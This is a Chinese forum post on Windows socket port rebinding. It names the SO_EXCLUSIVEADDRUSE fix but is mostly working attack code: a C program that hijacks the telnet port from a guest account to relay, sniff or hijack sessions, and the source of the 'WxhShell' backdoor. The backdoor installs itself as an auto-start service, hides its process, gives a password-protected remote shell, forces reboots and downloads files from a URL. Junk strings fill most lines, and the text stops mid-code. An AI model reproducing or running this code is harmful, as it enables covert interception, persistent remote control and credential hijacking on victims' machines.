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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3g0v,7,Zv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,8DjQz0ZPo  
,fhwDqR ?  
  saddr.sin_family = AF_INET; yATXN>]l  
{axRq'=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ApcE)mjpc  
^~3{n  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !F2JT@6  
vJQ_mz  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >^v,,R8j  
}To-c'  
  这意味着什么?意味着可以进行如下的攻击: 7!e kINQ  
z:08;}t  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !1<>][F  
JP]-a!5Ru  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8vj]S5  
aOEW$%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l 1BAW$  
qIO)<5\[%d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;F/s!bupCM  
xoQqku"vn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iH-(_$f;  
BbgKaCq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .]; `  
|jKFk.M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2p*L~! iM  
B^j(Fq  
  #include WmblY2  
  #include vs*@)'n0}  
  #include j$k/oQ  
  #include    %'9&JsO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tU-jtJ  
  int main() A*W/Q<~I  
  { * [b~2  
  WORD wVersionRequested; \obM}caT  
  DWORD ret; 4@@gC&:Y  
  WSADATA wsaData; zH *7!)8  
  BOOL val; *{=q:E$  
  SOCKADDR_IN saddr; Emv9l~mIu  
  SOCKADDR_IN scaddr; ]/Cu,mX  
  int err; 2'?C  
  SOCKET s; `yM9XjEl>  
  SOCKET sc; TEbE-h0)]  
  int caddsize; hNF,sA  
  HANDLE mt; sv#/78~|  
  DWORD tid;   v2 >Dn=V  
  wVersionRequested = MAKEWORD( 2, 2 ); l YjPrA]TC  
  err = WSAStartup( wVersionRequested, &wsaData ); KwxJ{$|xH  
  if ( err != 0 ) { )u307Lg  
  printf("error!WSAStartup failed!\n"); +4k4z:<n  
  return -1; ?T>NvKF  
  }  s)9 sb J  
  saddr.sin_family = AF_INET; :(4];Va  
   }vW3<|z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o H]FT{  
sP%J`L@h  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 02po;  
  saddr.sin_port = htons(23); nyPW6VQ0n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W\z<p P  
  { uJJP<mDgA  
  printf("error!socket failed!\n"); DjiWg(X  
  return -1; =fI0q7]ndz  
  } !6*4^$i#o  
  val = TRUE; q/3co86c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?WrL<?r)}U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) inyS4tb  
  { ?MJ5GVeH  
  printf("error!setsockopt failed!\n"); w)Y}hlcq  
  return -1; D^w<V%] .  
  } L$; gf_L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; d)v!U+-|'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WZ ,t~TN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  >fgV!o4  
w M#q [m;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _;k))K^  
  { Le,+jm  
  ret=GetLastError(); L%f$ &  
  printf("error!bind failed!\n"); `e+eL*rZ~  
  return -1; 9`DY6qfly  
  } [Ny'vAHOj  
  listen(s,2); pEiq;2{~Yn  
  while(1) 5K|s]Y;  
  { `,6^eLU  
  caddsize = sizeof(scaddr); )h;zH,DA[3  
  //接受连接请求 &0J/V>k  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6X$iTJ[\x  
  if(sc!=INVALID_SOCKET) fU4{4M+9"  
  { '59l.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); liVDBbS_A?  
  if(mt==NULL) l78 :.  
  { A Zv| |8p  
  printf("Thread Creat Failed!\n"); "C9.pdP\8  
  break; [,mcvO;  
  } Ht%O9v  
  } \MtdT[*  
  CloseHandle(mt); ]w9syz8X  
  } s _`y"' ^  
  closesocket(s); KnYHjJa  
  WSACleanup(); ^Kh>La:>O  
  return 0; BsN~Z!kd  
  }   uszMzO~  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,9/s`o  
  { +F6R@@rWr  
  SOCKET ss = (SOCKET)lpParam; A*3R@G*h  
  SOCKET sc; 8hvh xp  
  unsigned char buf[4096]; X[o"9O|<  
  SOCKADDR_IN saddr; ps=QVX)YP  
  long num; g?!;04  
  DWORD val; 7R".$ p  
  DWORD ret; C,3yu,'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 u9dL-Nr`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JPS<e*5  
  saddr.sin_family = AF_INET; \ffU15@N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |-VbJd  
  saddr.sin_port = htons(23); *wJ'Z4_5F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ij1g2^],4  
  { |} K7Q  
  printf("error!socket failed!\n"); TWTRMc;z+  
  return -1; gPWl#5P:  
  } }F (lffb  
  val = 100; +PkN~m`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \( xQ'AQ-  
  { v7- d+P=  
  ret = GetLastError(); @EcY& mP)  
  return -1; BGVy \F<  
  } &8 4Izs/[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [{9&KjI0K  
  { Q@#Gm9m  
  ret = GetLastError(); G3t 4$3|  
  return -1; 0B~Q.tyP  
  } \{`*`WQF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K?aUIkVs  
  { V3}$vKQ  
  printf("error!socket connect failed!\n"); =6+j Po{F  
  closesocket(sc); N_>}UhZ  
  closesocket(ss); 1oIu~f{`  
  return -1; wenJ(0L|  
  } %uhhQ<zs%  
  while(1) RlTVx :  
  { )ur&Mnmm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X+XbIbUuL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 nzORG  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ecy41y'~:  
  num = recv(ss,buf,4096,0); &,@wLy^ T  
  if(num>0) 5Ai$1'*p  
  send(sc,buf,num,0); {p@uj_pS  
  else if(num==0) mPo].z  
  break; _a=f.I  
  num = recv(sc,buf,4096,0); %uLyL4*L(p  
  if(num>0) 9CTvG zkw  
  send(ss,buf,num,0); A)q,VSR8  
  else if(num==0) 4lfJc9J  
  break; },LW@Z}  
  } >zAI#N4  
  closesocket(ss); k|T0Bly3P  
  closesocket(sc); QabYkL5@  
  return 0 ; abM4G  
  } XD\Z$\UJE  
CDM==Xa*  
? /Z hu  
========================================================== 4\yKd8I  
1)m&6:!b  
下边附上一个代码,,WXhSHELL 7oI^shk  
OT5'cl  
========================================================== f*SAbDE  
 g8_IZ(%:  
#include "stdafx.h" &vp0zYd+v  
Z;JZ<vEt92  
#include <stdio.h> 9#@CmiIhy  
#include <string.h> )ozN{&B6  
#include <windows.h> *oX~z>aE  
#include <winsock2.h> )WFSUZ~  
#include <winsvc.h> ZVek`Cc2  
#include <urlmon.h> dO[w3\~  
'u2Qq"d+  
#pragma comment (lib, "Ws2_32.lib") Sm%MoFf  
#pragma comment (lib, "urlmon.lib") ?k:i3$  
QYL ';  
#define MAX_USER   100 // 最大客户端连接数 C&'Y@GE5  
#define BUF_SOCK   200 // sock buffer {XNu4d9w(  
#define KEY_BUFF   255 // 输入 buffer 8Cr?0Z  
3It'!R8$  
#define REBOOT     0   // 重启 4n@, p0   
#define SHUTDOWN   1   // 关机 gZs8BKO  
(7rG~d1iS  
#define DEF_PORT   5000 // 监听端口 S&P5##.u`  
1`_i%R^  
#define REG_LEN     16   // 注册表键长度 o^! Zt 9  
#define SVC_LEN     80   // NT服务名长度 =>CrZ23B "  
h D/b O  
// 从dll定义API /vB%gqJvX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $V8B =k~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7M1*SC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T<0Bq"'%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?Y~>H 2  
"zO+!h'o  
// wxhshell配置信息 |7I.DBjR;  
struct WSCFG { Bv |Z)G%RR  
  int ws_port;         // 监听端口 -j9R%+YW<  
  char ws_passstr[REG_LEN]; // 口令 Q'^]lVY  
  int ws_autoins;       // 安装标记, 1=yes 0=no !lF|90=  
  char ws_regname[REG_LEN]; // 注册表键名 6X:- Z 3  
  char ws_svcname[REG_LEN]; // 服务名 #| 8!0]n'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !m1pL0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T`=N^Ca1!`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L$x/T3@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `#X{.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yREO;m|o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n6nwda  
F77[fp  
}; ;r[=q u\  
xTM&SVNbL_  
// default Wxhshell configuration [zR raG\  
struct WSCFG wscfg={DEF_PORT, JCZJ\f*EZ  
    "xuhuanlingzhe", f(?`PD[  
    1, /BVNJNhz  
    "Wxhshell", [:!#F7O-  
    "Wxhshell", Bd"7F{H  
            "WxhShell Service", FO}4~_W{  
    "Wrsky Windows CmdShell Service", D@Fa~O$75  
    "Please Input Your Password: ", b\?#O}  
  1, 3<msiC P  
  "http://www.wrsky.com/wxhshell.exe", {R,rc!yF  
  "Wxhshell.exe" v.v3HB8p  
    }; n@g[VR2t  
W^&t8d2  
// 消息定义模块 U'.>wjO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fp4d?3G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q ;5'I3w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ( L RX  
char *msg_ws_ext="\n\rExit."; gpr];lgS  
char *msg_ws_end="\n\rQuit."; Dl/UZ@8pl  
char *msg_ws_boot="\n\rReboot..."; ce=6EYl  
char *msg_ws_poff="\n\rShutdown..."; zAB-kE\ )  
char *msg_ws_down="\n\rSave to "; n*iaNaU"'  
M7,|+W/RK  
char *msg_ws_err="\n\rErr!"; sS(^7GARa  
char *msg_ws_ok="\n\rOK!"; =GM!M@~,Ab  
HA"dw2 |  
char ExeFile[MAX_PATH]; xYt{=  
int nUser = 0; <WBGPzVZE  
HANDLE handles[MAX_USER]; YQX>)'  
int OsIsNt; D?5W1m]E,s  
?67j+)  
SERVICE_STATUS       serviceStatus; |_[mb(<|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w6Tb<ja  
ieS5*@^k  
// 函数声明 eB$v'9S8/  
int Install(void); .FHOOw1r=  
int Uninstall(void); ",8h>eEWK  
int DownloadFile(char *sURL, SOCKET wsh); #0Oqw=F  
int Boot(int flag);  V|?  
void HideProc(void); F<-Pbtw  
int GetOsVer(void); PLo.q|%  
int Wxhshell(SOCKET wsl); Z*]n]eS  
void TalkWithClient(void *cs); _TQt!Re`,  
int CmdShell(SOCKET sock); KS(T%mk\  
int StartFromService(void); sQihyq6U;  
int StartWxhshell(LPSTR lpCmdLine); J;q3 fa  
?QVD)JI*k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Cv$TNkP*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cS ];?tqrA  
[S</QS!  
// 数据结构和表定义 <!OP b(g2  
SERVICE_TABLE_ENTRY DispatchTable[] = p-KuCobz]  
{ 29Q5s$YD@  
{wscfg.ws_svcname, NTServiceMain}, R#\8jvv  
{NULL, NULL} n{' [[2U  
}; }.b[az\T  
J;T_ 9  
// 自我安装 6lWO8j^BN  
int Install(void) 5K6_#g4"  
{ MB"?^~Sm  
  char svExeFile[MAX_PATH]; s:]rL&|  
  HKEY key; ,$;CII v  
  strcpy(svExeFile,ExeFile); .=@M>TZM  
`XWxC:j3%  
// 如果是win9x系统,修改注册表设为自启动 bh7 1Zu  
if(!OsIsNt) { DD3J2J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w@%W{aUC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;:$Na=  
  RegCloseKey(key); ":-)mfgGU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qo. 6T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p-(Z[G*  
  RegCloseKey(key); 0U/:Tpyr  
  return 0; *iC t4J  
    }  B-&J]H  
  } [?IERE!xQ  
} dNJK[1e6  
else { caj)  
nW drVT$  
// 如果是NT以上系统,安装为系统服务 10}Zoq|)n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hCxL4LrF  
if (schSCManager!=0) g:o\r (  
{ -O_UpjR;  
  SC_HANDLE schService = CreateService !w)Mm P Xb  
  ( C,I N+@  
  schSCManager, Gg.w-&  
  wscfg.ws_svcname, 9C4l@ jrF  
  wscfg.ws_svcdisp, r 2   
  SERVICE_ALL_ACCESS, ^c(PZ,/#JB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G0(c@FBK  
  SERVICE_AUTO_START, E$ngmm[  
  SERVICE_ERROR_NORMAL, g3Xz-  
  svExeFile, <hK$Cf_  
  NULL, k Lv_P[I  
  NULL, |t]9RC.;7  
  NULL, "rKIXy  
  NULL, !<YRocQY  
  NULL quKD\hL$  
  ); BO9Z "|"  
  if (schService!=0) Zi[)(agAT  
  { mJsYY,b8  
  CloseServiceHandle(schService); Iiy:<c  
  CloseServiceHandle(schSCManager); ynDx'Q*N'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M5x!84  
  strcat(svExeFile,wscfg.ws_svcname); pz$$K?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _N-7H\hF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v;RQVH;,  
  RegCloseKey(key); Zgg7pL)#c  
  return 0;  !gk\h  
    } l =_@<p  
  } 0zTv'L  
  CloseServiceHandle(schSCManager); ./fEx 'E  
} "=".ne  
} \YKh'|04  
H]!y |p  
return 1; 9nG] .@ H  
} vfbe=)}[  
K4F!?#  
// 自我卸载 b?bYPN+  
int Uninstall(void) zgRP!q<9tt  
{ I?Zs|A  
  HKEY key; vXnpx}B  
{tT`It  
if(!OsIsNt) { #P4dx'vm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7YN)T?  
  RegDeleteValue(key,wscfg.ws_regname); a[$.B2U  
  RegCloseKey(key); 5{u6qc4FW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G4{qWa/  
  RegDeleteValue(key,wscfg.ws_regname); 2s4=%l  
  RegCloseKey(key); DdQf %W8u  
  return 0; fM|g8(TK,  
  } XOeh![eMX  
} hv"toszj\  
} \Zh)oUHd  
else { __V]HcP;  
^ 2AF:(E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3H%HJS  
if (schSCManager!=0) _5K_YhT  
{ wU ; f   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1IlR  
  if (schService!=0) O\LW 8\M  
  { |be r:1  
  if(DeleteService(schService)!=0) { R`* *!ku  
  CloseServiceHandle(schService); #PrV)en  
  CloseServiceHandle(schSCManager); wr$}AX  
  return 0;  g_>ZE  
  } -oZ a c  
  CloseServiceHandle(schService); tT8jC:oVa  
  } .#:,j1L"53  
  CloseServiceHandle(schSCManager); L~oFW'  
} x<Zhj3  
} 9kF#*  
eb/V}%  
return 1; fD~!t 8J  
} @1@q6@9Tu  
0`P]fL+&  
// 从指定url下载文件 ];I|_fXo%  
int DownloadFile(char *sURL, SOCKET wsh) 1SFKP$^  
{ XsOOkf\_  
  HRESULT hr; C^%zV>o  
char seps[]= "/"; bg,}J/  
char *token; r9M={jC  
char *file; Z M+Hb_6f  
char myURL[MAX_PATH];  (v`;ym  
char myFILE[MAX_PATH]; #8z,'~\  
w}Upa(dU  
strcpy(myURL,sURL); =_'cG:=)  
  token=strtok(myURL,seps); 7RP_ ^Cr+  
  while(token!=NULL) ^c\IZ5  
  { ?:?4rIZ<  
    file=token; @"I#b99  
  token=strtok(NULL,seps); BY0|exW  
  } YSV,q@I&1  
?&"^\p  
GetCurrentDirectory(MAX_PATH,myFILE); } x.)gW  
strcat(myFILE, "\\"); aVP|:OAj  
strcat(myFILE, file); >jX UO  
  send(wsh,myFILE,strlen(myFILE),0); Hk]BC  
send(wsh,"...",3,0); VDTY<= Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hf<$vRti>  
  if(hr==S_OK) UPKi/)C;  
return 0; 7rSUSra  
else (oXN>^-D  
return 1; VWshFI  
&{ {DS  
} cY2-T#rL  
N}Ks[2  
// 系统电源模块 }iSakq'  
int Boot(int flag) Nr"N\yOA/  
{ -m160k3  
  HANDLE hToken; aE BP9RX}z  
  TOKEN_PRIVILEGES tkp; eh(Q^E;*  
,0Zn hS)kq  
  if(OsIsNt) { %EGr0R(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^V}R(gDu}s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B/=q_.1F>  
    tkp.PrivilegeCount = 1; x~;EH6$5'/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tHtV[We.:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /Tj"Fl\h  
if(flag==REBOOT) { <M,H9^&#l3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r.W,-%=bL  
  return 0; nuQ6X5>.=  
} &ZE\@Vc  
else { EyPJvs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z va  
  return 0; &^IcL!t[  
} EB>B,#  
  } ]zyX@=mM  
  else { L)lQ&z?  
if(flag==REBOOT) { }[z<iij4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }E5#X R  
  return 0; ay(!H~q_U  
} )E:,V~< 8  
else { Iz )hz9k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cH;TnuX  
  return 0; D4q >R;  
} (s"iC:D6U  
} tQ~<i %;  
6B''9V:s  
return 1; PDIclIMS'F  
} 5ttMua <G?  
KO|pJ3  
// win9x进程隐藏模块 "W@XP+POAY  
void HideProc(void) V-_/(xt*  
{ Hl3)R*&'J  
3u*hT T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~*!u  
  if ( hKernel != NULL ) g(<T u^F  
  { k\pDJ7wF^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Mi}I0yhVm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5_)@B]~nM  
    FreeLibrary(hKernel); 3eTrtCe$  
  } ESMG<vW&f  
*J_iXu|  
return; VD24X  
} poD \C;o"  
,?k%jcR  
// 获取操作系统版本 _(6`{PWY  
int GetOsVer(void) ]G0dS Fh{j  
{ '_qQrP#  
  OSVERSIONINFO winfo; rKzlK 'U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P>Q{He:  
  GetVersionEx(&winfo); %l} Q?Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q[G/}  
  return 1; #%^\\|'z  
  else =4zNo3IvL+  
  return 0; B:-U`CHHQ  
} ] *-;' *  
mP pvZ  
// 客户端句柄模块 Kej|1g1f  
int Wxhshell(SOCKET wsl) Y}LLOj@L  
{ ~XUOWY75  
  SOCKET wsh; uxO J3  
  struct sockaddr_in client; 4;C*Fa  
  DWORD myID; $_C+4[R?  
URK!W?3c  
  while(nUser<MAX_USER) rLJ[FqS  
{ 'j,oIqx  
  int nSize=sizeof(client); +2DE/wE]e+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BWUt{,?KU  
  if(wsh==INVALID_SOCKET) return 1; j1YH9T#|D  
a@#Q:O)4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]U,CKJF%/  
if(handles[nUser]==0) x _==Ss  
  closesocket(wsh); )nwZ/&@  
else qL| 5-(P  
  nUser++; B6bOEPQ  
  } aDL)|>"Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [ $l"-*s4  
TZ_rsj/t  
  return 0; `c"4PU^  
} k6Ihc?HL  
gYatsFyL  
// 关闭 socket hH%,!tSx  
void CloseIt(SOCKET wsh) (*,8KLV_i  
{ 7DtIVMiK  
closesocket(wsh); <%z@  
nUser--; 1E8H%2$ V  
ExitThread(0); u7;`4P:o@  
} 99e*]')A%  
XFW5AP  
// 客户端请求句柄 4'SaEsA~  
void TalkWithClient(void *cs) HG2GZ}~^1  
{ [yw%ih)  
i&`!|X-=R  
  SOCKET wsh=(SOCKET)cs; fVe@YqNa  
  char pwd[SVC_LEN]; I%@e@Dm,h  
  char cmd[KEY_BUFF]; Y4#y34 We  
char chr[1]; &<au/^F  
int i,j; )Zas x6`  
vwKw?Z0%J  
  while (nUser < MAX_USER) { iTh xVD  
&Y1`?1;nw  
if(wscfg.ws_passstr) { uBmxh%]C~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bV@7mmz:X+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a3q\<"|  
  //ZeroMemory(pwd,KEY_BUFF); (ZV;$N-t  
      i=0; HZ }6Q  
  while(i<SVC_LEN) { %>Bko,ET  
AD]e0_E  
  // 设置超时 +?;j&p  
  fd_set FdRead; {h#6z>p"u2  
  struct timeval TimeOut; M% @  
  FD_ZERO(&FdRead); k oM]S+1  
  FD_SET(wsh,&FdRead); ! k,<|8(0  
  TimeOut.tv_sec=8; p*|ah%F6N  
  TimeOut.tv_usec=0; vMhYpt?7\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :BZMnCfA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IAI(Ix  
Ik j=`,a2B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iZQ\ m0Zc  
  pwd=chr[0]; mDfwn7f  
  if(chr[0]==0xd || chr[0]==0xa) { #vQ?  
  pwd=0; QY@u}&m%o  
  break; LM:)j:gS6  
  } +Hj/0pp  
  i++; I"1CgKYK^+  
    } e*:}$u8 a  
{"m0)G,G  
  // 如果是非法用户,关闭 socket p1D()-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FI{AZb_'  
} HT"gT2U+  
xW>ySEf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lkA^\ +Ct  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cxm6TO`-;  
ExCM<$,  
while(1) { WL l_'2h  
T~X41d\  
  ZeroMemory(cmd,KEY_BUFF); q#N R32byF  
'wZ_4XjD  
      // 自动支持客户端 telnet标准   mc ZGg;3  
  j=0; D{p5/#|r  
  while(j<KEY_BUFF) { dQ9 ah  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \ZS TKi?  
  cmd[j]=chr[0]; *| YU]b;W  
  if(chr[0]==0xa || chr[0]==0xd) { ! _{d)J  
  cmd[j]=0; \jyjQ,v)  
  break; =&Xdm(  
  } tz4 ]hF  
  j++; , T\-;7  
    } &>(gt<C$  
5 y   
  // 下载文件 \"x>JW4w  
  if(strstr(cmd,"http://")) { :)IV!_>'d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (a.1M8v+Sg  
  if(DownloadFile(cmd,wsh)) )eYDQA>J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ewnfeg1  
  else L-\ =J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mvb':/M  
  } )KY:m |Z  
  else { /v#)f-N%zs  
#cU^U#;=r  
    switch(cmd[0]) { AW~"yI<  
  sDC*J \X  
  // 帮助 eA=WGy@IcN  
  case '?': { `~h4D(n`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #`ls)-`7  
    break; _KN/@(+F  
  } m`6VKp{YD  
  // 安装 [i7YVwG4  
  case 'i': { uWjU OJEe  
    if(Install()) zizk7<?L .  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l Y'N4x7n  
    else rk|@B{CA;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }`o? /!X   
    break; y=aV=qD  
    } K2rzhHfb  
  // 卸载 rh%m;i<b  
  case 'r': { 3o6RbW0[  
    if(Uninstall()) |P~;C6sf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2f{T6=SK  
    else *(QH{!-$s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a1c1k}  
    break; @dgH50o[  
    } t-7og;^8k  
  // 显示 wxhshell 所在路径 p[v#EyoC  
  case 'p': { 9(,@aZ  
    char svExeFile[MAX_PATH]; Y3',"  
    strcpy(svExeFile,"\n\r"); -5b A $  
      strcat(svExeFile,ExeFile); mfom=-q3k  
        send(wsh,svExeFile,strlen(svExeFile),0); Dl C@fZD  
    break; ".U^if F  
    } riCV&0"n  
  // 重启 WE6\dhJ<  
  case 'b': { ,^$ |R32  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,gx)w^WTm  
    if(Boot(REBOOT)) 3[IJhR[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #0"~G][#  
    else { +(?>-3_z  
    closesocket(wsh); U BZ9A  
    ExitThread(0); >#(n"RCHf  
    }  !HK^AwNY  
    break; u[oUCTY  
    } h#qN+qt}  
  // 关机 +dW|^I{H}  
  case 'd': { "y;bsZBd"  
